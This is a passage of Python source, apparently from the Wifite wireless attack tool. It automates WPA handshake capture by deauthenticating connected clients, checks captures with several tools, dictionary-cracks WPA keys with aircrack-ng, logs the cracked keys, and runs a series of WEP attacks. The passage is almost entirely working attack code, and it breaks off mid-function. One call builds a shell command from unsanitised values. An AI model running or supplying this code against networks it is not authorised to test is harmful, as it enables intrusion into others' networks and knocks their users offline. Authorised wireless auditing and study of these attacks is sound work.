  1455.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1456.     proc.wait()
  1457.     for line in proc.communicate()[0].split('\n'):
  1458.         if line.find('SSID=') != -1:
  1459.             essid = line[line.find('SSID=')+5:]
  1460.             print GR+' [+]'+W+' guessed essid: %s' % (G+essid+W)
  1461.             return essid
  1462.     print R+' [!]'+O+' unable to guess essid!'+W
  1463.     return ''
  1464.  
  1465.  
  1466. def get_bssid_from_cap(essid, capfile):
  1467.     """
  1468.         Returns first BSSID of access point found in cap file.
  1469.         This is not accurate at all, but it's a good guess.
  1470.         Returns '' if not found.
  1471.     """
  1472.     global TARGET_ESSID
  1473.    
  1474.     if not program_exists('tshark'): return ''
  1475.  
  1476.      # Attempt to get BSSID based on ESSID
  1477.     if essid != '':
  1478.         cmd = ['tshark',
  1479.                '-r', capfile,
  1480.                '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  1481.                '-n',            # Do not resolve MAC vendor names
  1482.                '-T', 'fields',  # Only display certain fields
  1483.                '-e', 'wlan.sa'] # souce MAC address
  1484.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1485.         proc.wait()
  1486.         bssid = proc.communicate()[0].split('\n')[0]
  1487.         if bssid != '': return bssid
  1488.    
  1489.     cmd = ['tshark',
  1490.            '-r', capfile,
  1491.            '-R', 'eapol',
  1492.            '-n']
  1493.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1494.     proc.wait()
  1495.     for line in proc.communicate()[0].split('\n'):
  1496.         if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  1497.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1498.             line = line.replace('\t', ' ')
  1499.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  1500.             return line.split(' ')[2]
  1501.         elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  1502.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  1503.             line = line.replace('\t', ' ')
  1504.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  1505.             return line.split(' ')[4]
  1506.     return ''
  1507.  
  1508.  
  1509. def exit_gracefully(code):
  1510.     """
  1511.         We may exit the program at any time.
  1512.         We want to remove the temp folder and any files contained within it.
  1513.         Removes the temp files/folder and exists with error code "code".
  1514.     """
  1515.     # Remove temp files and folder
  1516.     if os.path.exists(temp):
  1517.         for file in os.listdir(temp):
  1518.             os.remove(temp + file)
  1519.         os.rmdir(temp)
  1520.     # Disable monitor mode if enabled by us
  1521.     disable_monitor_mode()
  1522.     # Change MAC address back if spoofed
  1523.     mac_change_back()
  1524.     print GR+" [+]"+W+" quitting" # wifite will now exit"
  1525.     # GTFO
  1526.     exit(code)
  1527.  
  1528.  
  1529. def attack_interrupted_prompt():
  1530.     """
  1531.         Promps user to decide if they want to exit,
  1532.         skip to cracking WPA handshakes,
  1533.         or continue attacking the remaining targets (if applicable).
  1534.         returns True if user chose to exit complete, False otherwise
  1535.     """
  1536.     global TARGETS_REMAINING
  1537.     should_we_exit = False
  1538.     # If there are more targets to attack, ask what to do next
  1539.     if TARGETS_REMAINING > 0:
  1540.         options = ''
  1541.         print GR+"\n [+] %s%d%s target%s remain%s" % (G, TARGETS_REMAINING, W,
  1542.                                 '' if TARGETS_REMAINING == 1 else 's',
  1543.                                 's' if TARGETS_REMAINING == 1 else '')
  1544.         print GR+" [+]"+W+" what do you want to do?"
  1545.         options += G+'c'+W
  1546.         print G+"     [c]ontinue"+W+" attacking targets"
  1547.        
  1548.         if len(WPA_CAPS_TO_CRACK) > 0:
  1549.             options += W+', '+O+'s'+W
  1550.             print O+"     [s]kip"+W+" to cracking WPA cap files"
  1551.         options += W+', or '+R+'e'+W
  1552.         print R+"     [e]xit"+W+" completely"
  1553.         ri = ''
  1554.         while ri != 'c' and ri != 's' and ri != 'e':
  1555.             ri = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % options)
  1556.        
  1557.         if ri == 's':
  1558.             TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
  1559.         elif ri == 'e':
  1560.             should_we_exit = True
  1561.     return should_we_exit
  1562.  
  1563.  
  1564.  
  1565.  
  1566.  
  1567.  
  1568.  
  1569.  
  1570.  
  1571. #################
  1572. # WPA FUNCTIONS #
  1573. #################
  1574.  
  1575.  
  1576. def wpa_get_handshake(iface, target, clients):
  1577.     """
  1578.         Opens an airodump capture on the target, dumping to a file.
  1579.         During the capture, sends deauthentication packets to the target both as
  1580.         general deauthentication packets and specific packets aimed at connected clients.
  1581.         Waits until a handshake is captured.
  1582.             "iface"   - interface to capture on
  1583.             "target"  - Target object containing info on access point
  1584.             "clients" - List of Client objects associated with the target
  1585.         Returns True if handshake was found, False otherwise
  1586.     """
  1587.     global TARGETS_REMAINING, WPA_ATTACK_TIMEOUT
  1588.  
  1589.     if WPA_ATTACK_TIMEOUT <= 0: WPA_ATTACK_TIMEOUT = -1
  1590.    
  1591.     # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  1592.     save_as = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1593.               + '_' + target.bssid.replace(':', '-') + '.cap'
  1594.    
  1595.     # Check if we already have a handshake for this SSID... If we do, generate a new filename
  1596.     save_index = 0
  1597.     while os.path.exists(save_as):
  1598.         save_index += 1
  1599.         save_as = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1600.                          + '_' + target.bssid.replace(':', '-') \
  1601.                          + '_' + str(save_index) + '.cap'
  1602.        
  1603.     # Remove previous airodump output files (if needed)
  1604.     remove_airodump_files(temp + 'wpa')
  1605.    
  1606.     # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  1607.     try:
  1608.         # Start airodump-ng process to capture handshakes
  1609.         cmd = ['airodump-ng',
  1610.               '-w', temp + 'wpa',
  1611.               '-c', target.channel,
  1612.               '--bssid', target.bssid, iface]
  1613.         proc_read = Popen(cmd, stdout=DN, stderr=DN)
  1614.        
  1615.         # Setting deauthentication process here to avoid errors later on
  1616.         proc_deauth = None
  1617.        
  1618.         print ' %s starting %swpa handshake capture%s on "%s"' % \
  1619.                 (GR+sec_to_hms(WPA_ATTACK_TIMEOUT)+W, G, W, G+target.ssid+W)
  1620.         got_handshake = False
  1621.        
  1622.         seconds_running = 0
  1623.        
  1624.         target_clients = clients[:]
  1625.         client_index = -1
  1626.        
  1627.         # Deauth and check-for-handshake loop
  1628.         while not got_handshake and (WPA_ATTACK_TIMEOUT <= 0 or seconds_running < WPA_ATTACK_TIMEOUT):
  1629.            
  1630.             time.sleep(1)
  1631.             seconds_running += 1
  1632.            
  1633.             print "                                                          \r",
  1634.             print ' %s listening for handshake...\r' % \
  1635.                   (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W),
  1636.             stdout.flush()
  1637.            
  1638.             if seconds_running % WPA_DEAUTH_TIMEOUT == 0:
  1639.                 # Send deauth packets via aireplay-ng
  1640.                 cmd = ['aireplay-ng',
  1641.                       '-0',  # Attack method (Deauthentication)
  1642.                        '1',  # Number of packets to send
  1643.                       '-a', target.bssid]
  1644.                
  1645.                 client_index += 1
  1646.                
  1647.                 if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  1648.                     print " %s sending 1 deauth to %s*broadcast*%s..." % \
  1649.                              (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W),
  1650.                     client_index = -1
  1651.                 else:
  1652.                     print " %s sending 1 deauth to %s... " % \
  1653.                              (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, \
  1654.                              G+target_clients[client_index].bssid+W),
  1655.                     cmd.append('-h')
  1656.                     cmd.append(target_clients[client_index].bssid)
  1657.                 cmd.append(iface)
  1658.                 stdout.flush()
  1659.                
  1660.                 # Send deauth packets via aireplay, wait for them to complete.
  1661.                 proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  1662.                 proc_deauth.wait()
  1663.                 print "sent\r",
  1664.                 stdout.flush()
  1665.            
  1666.             # Copy current dump file for consistency
  1667.             if not os.path.exists(temp + 'wpa-01.cap'): continue
  1668.             copy(temp + 'wpa-01.cap', temp + 'wpa-01.cap.temp')
  1669.            
  1670.             # Save copy of cap file (for debugging)
  1671.             #remove_file('/root/new/wpa-01.cap')
  1672.             #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  1673.            
  1674.             # Check for handshake
  1675.             if has_handshake(target, temp + 'wpa-01.cap.temp'):
  1676.                 got_handshake = True
  1677.                
  1678.                 try: os.mkdir(WPA_HANDSHAKE_DIR + os.sep)
  1679.                 except OSError: pass
  1680.                
  1681.                 # Kill the airodump and aireplay processes
  1682.                 send_interrupt(proc_read)
  1683.                 send_interrupt(proc_deauth)
  1684.                
  1685.                 # Save a copy of the handshake
  1686.                 rename(temp + 'wpa-01.cap.temp', save_as)
  1687.                
  1688.                 print '\n %s %shandshake captured%s! saved as "%s"' % (GR+sec_to_hms(seconds_running)+W, G, W, G+save_as+W)
  1689.                 WPA_FINDINGS.append('%s (%s) handshake captured' % (target.ssid, target.bssid))
  1690.                 WPA_FINDINGS.append('saved as %s' % (save_as))
  1691.                 WPA_FINDINGS.append('')
  1692.                
  1693.                 # Strip handshake if needed
  1694.                 if WPA_STRIP_HANDSHAKE: strip_handshake(save_as)
  1695.                
  1696.                 # Add the filename and SSID to the list of 'to-crack'
  1697.                 # Cracking will be handled after all attacks are finished.
  1698.                 WPA_CAPS_TO_CRACK.append(CapFile(save_as, target.ssid, target.bssid))
  1699.                
  1700.                 break # Break out of while loop
  1701.                
  1702.             # No handshake yet
  1703.             os.remove(temp + 'wpa-01.cap.temp')
  1704.            
  1705.             # Check the airodump output file for new clients
  1706.             for client in parse_csv(temp + 'wpa-01.csv')[1]:
  1707.                 if client.station != target.bssid: continue
  1708.                 new_client = True
  1709.                 for c in target_clients:
  1710.                     if client.bssid == c.bssid:
  1711.                         new_client = False
  1712.                         break
  1713.                
  1714.                 if new_client:
  1715.                     print " %s %snew client%s found: %s                         " % \
  1716.                            (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \
  1717.                            G+client.bssid+W)
  1718.                     target_clients.append(client)
  1719.            
  1720.         # End of Handshake wait loop.
  1721.        
  1722.         if not got_handshake:
  1723.             print R+' [0:00:00]'+O+' unable to capture handshake in time'+W
  1724.    
  1725.     except KeyboardInterrupt:
  1726.         print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W
  1727.         if attack_interrupted_prompt():
  1728.             remove_airodump_files(temp + 'wpa')
  1729.             send_interrupt(proc_read)
  1730.             send_interrupt(proc_deauth)
  1731.             print ''
  1732.             exit_gracefully(0)
  1733.            
  1734.  
  1735.     # clean up
  1736.     remove_airodump_files(temp + 'wpa')
  1737.     send_interrupt(proc_read)
  1738.     send_interrupt(proc_deauth)
  1739.    
  1740.     return got_handshake
  1741.  
  1742. def has_handshake_tshark(target, capfile):
  1743.     """
  1744.         Uses TShark to check for a handshake.
  1745.         Returns "True" if handshake is found, false otherwise.
  1746.     """
  1747.     if program_exists('tshark'):
  1748.         # Call Tshark to return list of EAPOL packets in cap file.
  1749.         cmd = ['tshark',
  1750.                '-r', capfile, # Input file
  1751.                '-R', 'eapol', # Filter (only EAPOL packets)
  1752.                '-n']          # Do not resolve names (MAC vendors)
  1753.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1754.         proc.wait()
  1755.         lines = proc.communicate()[0].split('\n')
  1756.        
  1757.         # Get list of all clients in cap file
  1758.         clients = []
  1759.         for line in lines:
  1760.             if line.find('appears to have been cut short') != -1 or line.find('Running as user "root"') != -1 or line.strip() == '':
  1761.                 continue
  1762.            
  1763.             while line.startswith(' '):  line = line[1:]
  1764.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  1765.            
  1766.             fields = line.split(' ')
  1767.             src = fields[2].lower()
  1768.             dst = fields[4].lower()
  1769.            
  1770.             if src == target.bssid.lower() and clients.count(dst) == 0: clients.append(dst)
  1771.             elif dst == target.bssid.lower() and clients.count(src) == 0: clients.append(src)
  1772.        
  1773.         # Check each client for a handshake
  1774.         for client in clients:
  1775.             msg_num = 1 # Index of message in 4-way handshake (starts at 1)
  1776.            
  1777.             for line in lines:
  1778.                 if line.find('appears to have been cut short') != -1: continue
  1779.                 if line.find('Running as user "root"') != -1: continue
  1780.                 if line.strip() == '': continue
  1781.                
  1782.                 # Sanitize tshark's output, separate into fields
  1783.                 while line[0] == ' ': line = line[1:]
  1784.                 while line.find('  ') != -1: line = line.replace('  ', ' ')
  1785.                
  1786.                 fields = line.split(' ')
  1787.                
  1788.                 # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  1789.                 # This catches this glitch and fixes it.
  1790.                 if len(fields) < 8:
  1791.                     continue
  1792.                 elif len(fields) == 8:
  1793.                     fields.append('(msg')
  1794.                     fields.append('3/4)')
  1795.                
  1796.                 src = fields[2].lower() # Source MAC address
  1797.                 dst = fields[4].lower() # Destination MAC address
  1798.                 #msg = fields[9][0]      # The message number (1, 2, 3, or 4)
  1799.                 msg = fields[-1][0]
  1800.                
  1801.                 # First, third msgs in 4-way handshake are from the target to client
  1802.                 if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): continue
  1803.                 # Second, fourth msgs in 4-way handshake are from client to target
  1804.                 elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): continue
  1805.                
  1806.                 # The messages must appear in sequential order.
  1807.                 try:
  1808.                     if int(msg) != msg_num: continue
  1809.                 except ValueError: continue
  1810.                
  1811.                 msg_num += 1
  1812.                
  1813.                 # We need the first 4 messages of the 4-way handshake
  1814.                 # Although aircrack-ng cracks just fine with only 3 of the messages...
  1815.                 if msg_num >= 4:
  1816.                     return True
  1817.     return False
  1818.  
  1819. def has_handshake_cowpatty(target, capfile, nonstrict=True):
  1820.     """
  1821.         Uses cowpatty to check for a handshake.
  1822.         Returns "True" if handshake is found, false otherwise.
  1823.     """
  1824.     if not program_exists('cowpatty'): return False
  1825.    
  1826.     # Call cowpatty to check if capfile contains a valid handshake.
  1827.     cmd = ['cowpatty',
  1828.            '-r', capfile,     # input file
  1829.            '-s', target.ssid, # SSID
  1830.            '-c']              # Check for handshake
  1831.     # Uses frames 1, 2, or 3 for key attack
  1832.     if nonstrict: cmd.append('-2')
  1833.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1834.     proc.wait()
  1835.     response = proc.communicate()[0]
  1836.     if response.find('incomplete four-way handshake exchange') != -1:
  1837.         return False
  1838.     elif response.find('Unsupported or unrecognized pcap file.') != -1:
  1839.         return False
  1840.     elif response.find('Unable to open capture file: Success') != -1:
  1841.         return False
  1842.     return True
  1843.  
  1844. def has_handshake_pyrit(target, capfile):
  1845.     """
  1846.         Uses pyrit to check for a handshake.
  1847.         Returns "True" if handshake is found, false otherwise.
  1848.     """
  1849.     if not program_exists('pyrit'): return False
  1850.    
  1851.     # Call pyrit to "Analyze" the cap file's handshakes.
  1852.     cmd = ['pyrit',
  1853.            '-r', capfile,
  1854.            'analyze']
  1855.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  1856.     proc.wait()
  1857.     hit_essid = False
  1858.     for line in proc.communicate()[0].split('\n'):
  1859.         # Iterate over every line of output by Pyrit
  1860.         if line == '' or line == None: continue
  1861.         if line.find("AccessPoint") != -1:
  1862.             hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  1863.                         (line.lower().find(target.bssid.lower()) != -1)
  1864.             #hit_essid = (line.lower().find(target.bssid.lower()))
  1865.        
  1866.         else:
  1867.             # If Pyrit says it's good or workable, it's a valid handshake.
  1868.             if hit_essid and (line.find(', good, ') != -1 or \
  1869.                               line.find(', workable, ') != -1):
  1870.                                 # or line.find(', bad, ') != -1):
  1871.                 return True
  1872.     return False
  1873.  
  1874. def has_handshake_aircrack(target, capfile):
  1875.     """
  1876.         Uses aircrack-ng to check for handshake.
  1877.         Returns True if found, False otherwise.
  1878.     """
  1879.     if not program_exists('aircrack-ng'): return False
  1880.     crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  1881.     proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  1882.     proc_crack.wait()
  1883.     txt = proc_crack.communicate()[0]
  1884.    
  1885.     return (txt.find('Passphrase not in dictionary') != -1)
  1886.  
  1887. def has_handshake(target, capfile):
  1888.     """
  1889.         Checks if .cap file contains a handshake.
  1890.         Returns True if handshake is found, False otherwise.
  1891.     """
  1892.     valid_handshake = True
  1893.     tried = False
  1894.     if WPA_HANDSHAKE_TSHARK:
  1895.         tried = True
  1896.         valid_handshake = has_handshake_tshark(target, capfile)
  1897.    
  1898.     if valid_handshake and WPA_HANDSHAKE_COWPATTY:
  1899.         tried = True
  1900.         valid_handshake = has_handshake_cowpatty(target, capfile)
  1901.    
  1902.     # Use CowPatty to check for handshake.
  1903.     if valid_handshake and WPA_HANDSHAKE_COWPATTY:
  1904.         tried = True
  1905.         valid_handshake = has_handshake_cowpatty(target, capfile)
  1906.        
  1907.     # Check for handshake using Pyrit if applicable
  1908.     if valid_handshake and WPA_HANDSHAKE_PYRIT:
  1909.         tried = True
  1910.         valid_handshake = has_handshake_pyrit(target, capfile)
  1911.    
  1912.     # Check for handshake using aircrack-ng
  1913.     if valid_handshake and WPA_HANDSHAKE_AIRCRACK:
  1914.         tried = True
  1915.         valid_handshake = has_handshake_aircrack(target, capfile)
  1916.    
  1917.     if tried: return valid_handshake
  1918.     print R+' [!]'+O+' unable to check for handshake: all handshake options are disabled!'
  1919.     exit_gracefully(1)
  1920.  
  1921.  
  1922. def strip_handshake(capfile):
  1923.     """
  1924.         Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  1925.         File in location 'capfile' is overwritten!
  1926.     """
  1927.     output_file = capfile
  1928.     if program_exists('pyrit'):
  1929.         cmd = ['pyrit',
  1930.              '-r', capfile,
  1931.              '-o', output_file,
  1932.              'strip']
  1933.         call(cmd,stdout=DN, stderr=DN)
  1934.        
  1935.     elif program_exists('tshark'):
  1936.         # strip results with tshark
  1937.         cmd = ['tshark',
  1938.                '-r', capfile,      # input file
  1939.                '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
  1940.                '-w', capfile + '.temp'] # output file
  1941.         proc_strip = call(cmd, stdout=DN, stderr=DN)
  1942.        
  1943.         rename(capfile + '.temp', output_file)
  1944.        
  1945.     else:
  1946.         print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark were found"+W
  1947.  
  1948.  
  1949. def save_cracked(bssid, ssid, key, encryption):
  1950.     """
  1951.         Saves cracked access point key and info to a file.
  1952.     """
  1953.     sep = chr(0)
  1954.     fout = open('cracked.txt', 'a')
  1955.     fout.write(bssid + sep + ssid + sep + key + sep + encryption + '\n')
  1956.     fout.flush()
  1957.     fout.close()
  1958.  
  1959.  
  1960. def load_cracked():
  1961.     """
  1962.         Loads info about cracked access points into list, returns list.
  1963.     """
  1964.     result = []
  1965.     if not os.path.exists('cracked.txt'): return result
  1966.     fin = open('cracked.txt', 'r')
  1967.     lines = fin.read().split('\n')
  1968.     fin.close()
  1969.    
  1970.     for line in lines:
  1971.         fields = line.split(chr(0))
  1972.         if len(fields) <= 3: continue
  1973.         tar = Target(fields[0], '', '', '', fields[3], fields[1])
  1974.         tar.key = fields[2]
  1975.         result.append(tar)
  1976.     return result
  1977.  
  1978.  
  1979. ##########################
  1980. # WPA CRACKING FUNCTIONS #
  1981. ##########################
  1982.  
  1983. def wpa_crack(capfile):
  1984.     """
  1985.         Cracks cap file using aircrack-ng
  1986.         This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  1987.         they can do so manually.
  1988.     """
  1989.     if WPA_DICTIONARY == '':
  1990.         print R+' [!]'+O+' no WPA dictionary found! use -dict <file> command-line argument'+W
  1991.         return False
  1992.  
  1993.     print GR+' [0:00:00]'+W+' cracking %s with %s' % (G+capfile.ssid+W, G+'aircrack-ng'+W)
  1994.     start_time = time.time()
  1995.     cracked = False
  1996.    
  1997.     remove_file(temp + 'out.out')
  1998.     remove_file(temp + 'wpakey.txt')
  1999.    
  2000.     cmd = ['aircrack-ng',
  2001.            '-a', '2',                 # WPA crack
  2002.            '-w', WPA_DICTIONARY,      # Wordlist
  2003.            '-l', temp + 'wpakey.txt', # Save key to file
  2004.            '-b', capfile.bssid,       # BSSID of target
  2005.            capfile.filename]
  2006.    
  2007.     proc = Popen(cmd, stdout=open(temp + 'out.out', 'a'), stderr=DN)
  2008.     try:
  2009.         kt  = 0 # Keys tested
  2010.         kps = 0 # Keys per second
  2011.         while True:
  2012.             time.sleep(1)
  2013.            
  2014.             if proc.poll() != None: # aircrack stopped
  2015.                 if os.path.exists(temp + 'wpakey.txt'):
  2016.                     # Cracked
  2017.                     inf = open(temp + 'wpakey.txt')
  2018.                     key = inf.read().strip()
  2019.                     inf.close()
  2020.                     WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (G+capfile.ssid+W, G+capfile.bssid+W, C+key+W))
  2021.                     WPA_FINDINGS.append('')
  2022.                    
  2023.                     save_cracked(capfile.bssid, capfile.ssid, key, 'WPA')
  2024.  
  2025.                     print GR+'\n [+]'+W+' cracked %s (%s)!' % (G+capfile.ssid+W, G+capfile.bssid+W)
  2026.                     print GR+' [+]'+W+' key:    "%s"\n' % (C+key+W)
  2027.                     cracked = True
  2028.                 else:
  2029.                     # Did not crack
  2030.                     print R+'\n [!]'+R+'crack attempt failed'+O+': passphrase not in dictionary'+W
  2031.                 break
  2032.            
  2033.             inf = open(temp + 'out.out', 'r')
  2034.             lines = inf.read().split('\n')
  2035.             inf.close()
  2036.             outf = open(temp + 'out.out', 'w')
  2037.             outf.close()
  2038.             for line in lines:
  2039.                 i = line.find(']')
  2040.                 j = line.find('keys tested', i)
  2041.                 if i != -1 and j != -1:
  2042.                     kts = line[i+2:j-1]
  2043.                     try: kt = int(kts)
  2044.                     except ValueError: pass
  2045.                 i = line.find('(')
  2046.                 j = line.find('k/s)', i)
  2047.                 if i != -1 and j != -1:
  2048.                     kpss = line[i+1:j-1]
  2049.                     try: kps = float(kpss)
  2050.                     except ValueError: pass
  2051.            
  2052.             print "\r %s %s keys tested (%s%.2f keys/sec%s)   " % \
  2053.                    (GR+sec_to_hms(time.time() - start_time)+W, G+add_commas(kt)+W, G, kps, W),
  2054.             stdout.flush()
  2055.            
  2056.     except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA cracking interrupted'+W
  2057.    
  2058.     send_interrupt(proc)
  2059.     try: os.kill(proc.pid, SIGTERM)
  2060.     except OSError: pass
  2061.    
  2062.     return cracked
  2063.  
  2064. def add_commas(n):
  2065.     """
  2066.         Receives integer n, returns string representation of n with commas in thousands place.
  2067.         I'm sure there's easier ways of doing this... but meh.
  2068.     """
  2069.     strn = str(n)
  2070.     lenn = len(strn)
  2071.     i = 0
  2072.     result = ''
  2073.     while i < lenn:
  2074.         if (lenn - i) % 3 == 0 and i != 0: result += ','
  2075.         result += strn[i]
  2076.         i += 1
  2077.     return result
  2078.  
  2079.  
  2080.  
  2081.  
  2082.  
  2083.  
  2084.  
  2085.  
  2086.  
  2087.  
  2088.  
  2089.  
  2090. #################
  2091. # WEP FUNCTIONS #
  2092. #################
  2093.  
  2094.  
  2095. def attack_wep(iface, target, clients):
  2096.     """
  2097.         Attacks WEP-encrypted network.
  2098.         Returns True if key was successfully found, False otherwise.
  2099.     """
  2100.     global WEP_TIMEOUT
  2101.     if WEP_TIMEOUT <= 0: WEP_TIMEOUT = -1
  2102.    
  2103.     total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
  2104.     if not WEP_ARP_REPLAY: total_attacks -= 1
  2105.     if not WEP_CHOPCHOP:   total_attacks -= 1
  2106.     if not WEP_FRAGMENT:   total_attacks -= 1
  2107.     if not WEP_CAFFELATTE: total_attacks -= 1
  2108.     if not WEP_P0841:      total_attacks -= 1
  2109.     if not WEP_HIRTE:      total_attacks -= 1
  2110.    
  2111.     if total_attacks <= 0:
  2112.         print R+' [!]'+O+' unable to initiate WEP attacks: no attacks are selected!'
  2113.         return False
  2114.    
  2115.     print ' %s preparing attack "%s" (%s)' % \
  2116.                (GR+sec_to_hms(WEP_TIMEOUT)+W, \
  2117.                G+target.ssid+W, G+target.bssid+W)
  2118.    
  2119.     remove_airodump_files(temp + 'wep')
  2120.     remove_file(temp + 'wepkey.txt')
  2121.    
  2122.     # Start airodump process to capture packets
  2123.     cmd = ['airodump-ng',
  2124.            '-w', temp + 'wep',      # Output file name (wep-01.cap, wep-01.csv)
  2125.            '-c', target.channel,    # Wireless channel
  2126.            '--bssid', target.bssid,
  2127.            iface]
  2128.     proc_airodump = Popen(cmd, stdout=DN, stderr=DN)
  2129.     proc_aireplay = None
  2130.  
  2131.     successful       = False # Flag for when attack is successful
  2132.     started_cracking = False # Flag for when we have started aircrack-ng
  2133.     client_mac       = ''    # The client mac we will send packets to/from
  2134.     try:
  2135.         if wep_fake_auth(iface, target, sec_to_hms(WEP_TIMEOUT)):
  2136.             # Successful fake auth
  2137.             client_mac = THIS_MAC
  2138.         else:
  2139.             if not WEP_IGNORE_FAKEAUTH:
  2140.                 send_interrupt(proc_aireplay)
  2141.                 send_interrupt(proc_airodump)
  2142.                 print R+' [!]'+O+' unable to fake-authenticate with target'
  2143.                 print R+' [!]'+O+' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2144.                 return False
  2145.        
  2146.        
  2147.         ivs = 0
  2148.         last_ivs = 0
  2149.         for attack_num in xrange(0, 6):
  2150.            
  2151.             # Skip disabled attacks
  2152.             if   attack_num == 0 and not WEP_ARP_REPLAY: continue
  2153.             elif attack_num == 1 and not WEP_CHOPCHOP:   continue
  2154.             elif attack_num == 2 and not WEP_FRAGMENT:   continue
  2155.             elif attack_num == 3 and not WEP_CAFFELATTE: continue
  2156.             elif attack_num == 4 and not WEP_P0841:      continue
  2157.             elif attack_num == 5 and not WEP_HIRTE:      continue
  2158.            
  2159.             remove_file(temp + 'arp.cap')
  2160.             # Generate the aireplay-ng arguments based on attack_num and other params
  2161.             cmd = get_aireplay_command(iface, attack_num, target, clients, client_mac)
  2162.             if cmd == '': continue
  2163.             proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2164.            
  2165.             print '\r %s attacking "%s" via' % (GR+sec_to_hms(WEP_TIMEOUT)+W, G+target.ssid+W),
  2166.             if attack_num == 0:   print G+'arp-replay',
  2167.             elif attack_num == 1: print G+'chop-chop',
  2168.             elif attack_num == 2: print G+'fragmentation',
  2169.             elif attack_num == 3: print G+'caffe-latte',
  2170.             elif attack_num == 4: print G+'p0841',
  2171.             elif attack_num == 5: print G+'hirte',
  2172.             print 'attack'+W
  2173.            
  2174.             print ' %s captured %s ivs @ %s iv/sec' % (GR+sec_to_hms(WEP_TIMEOUT)+W, G+'0'+W, G+'0'+W),
  2175.             stdout.flush()
  2176.            
  2177.             time.sleep(1)
  2178.             if attack_num == 1:
  2179.                 # Send a deauth packet to broadcast and all clients *just because!*
  2180.                 wep_send_deauths(iface, target, clients)
  2181.             last_deauth = time.time()
  2182.            
  2183.             replaying = False
  2184.             time_started = time.time()
  2185.             while time.time() - time_started < WEP_TIMEOUT:
  2186.                 # time.sleep(5)
  2187.                 for time_count in xrange(0, 6):
  2188.                     if WEP_TIMEOUT == -1:
  2189.                         current_hms = "[endless]"
  2190.                     else:
  2191.                         current_hms = sec_to_hms(WEP_TIMEOUT - (time.time() - time_started))
  2192.                     print "\r %s\r" % (GR+current_hms+W),
  2193.                     stdout.flush()
  2194.                     time.sleep(1)
  2195.                    
  2196.                 # Calculates total seconds remaining
  2197.                
  2198.                 # Check number of IVs captured
  2199.                 csv = parse_csv(temp + 'wep-01.csv')[0]
  2200.                 if len(csv) > 0:
  2201.                     ivs = int(csv[0].data)
  2202.                     print "\r                                                   ",
  2203.                     print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2204.                               (GR+current_hms+W, G, ivs, W, G, (ivs - last_ivs) / 5, W),
  2205.  
  2206.                     if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2207.                         print "\r %s deauthing to generate packets..." % (GR+current_hms+W),
  2208.                         wep_send_deauths(iface, target, clients)
  2209.                         print "done",
  2210.                         last_deauth = time.time()
  2211.  
  2212.                     last_ivs = ivs
  2213.                     stdout.flush()
  2214.                     if ivs >= WEP_CRACK_AT_IVS and not started_cracking:
  2215.                         # Start cracking
  2216.                         cmd = ['aircrack-ng',
  2217.                                '-a', '1',
  2218.                                '-l', temp + 'wepkey.txt',
  2219.                                temp + 'wep-01.cap']
  2220.                         print "\r %s started %s (%sover %d ivs%s)" % (GR+current_hms+W, G+'cracking'+W, G, WEP_CRACK_AT_IVS, W)
  2221.                         proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2222.                         started_cracking = True
  2223.                
  2224.                 # Check if key has been cracked yet.
  2225.                 if os.path.exists(temp + 'wepkey.txt'):
  2226.                     # Cracked!
  2227.                     infile = open(temp + 'wepkey.txt', 'r')
  2228.                     key = infile.read().replace('\n', '')
  2229.                     infile.close()
  2230.                     print '\n\n %s %s %s (%s)! key: "%s"' % (current_hms, G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W)
  2231.                     WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key))
  2232.                     WEP_FINDINGS.append('')
  2233.                    
  2234.                     save_cracked(target.bssid, target.ssid, key, 'WEP')
  2235.  
  2236.                     # Kill processes
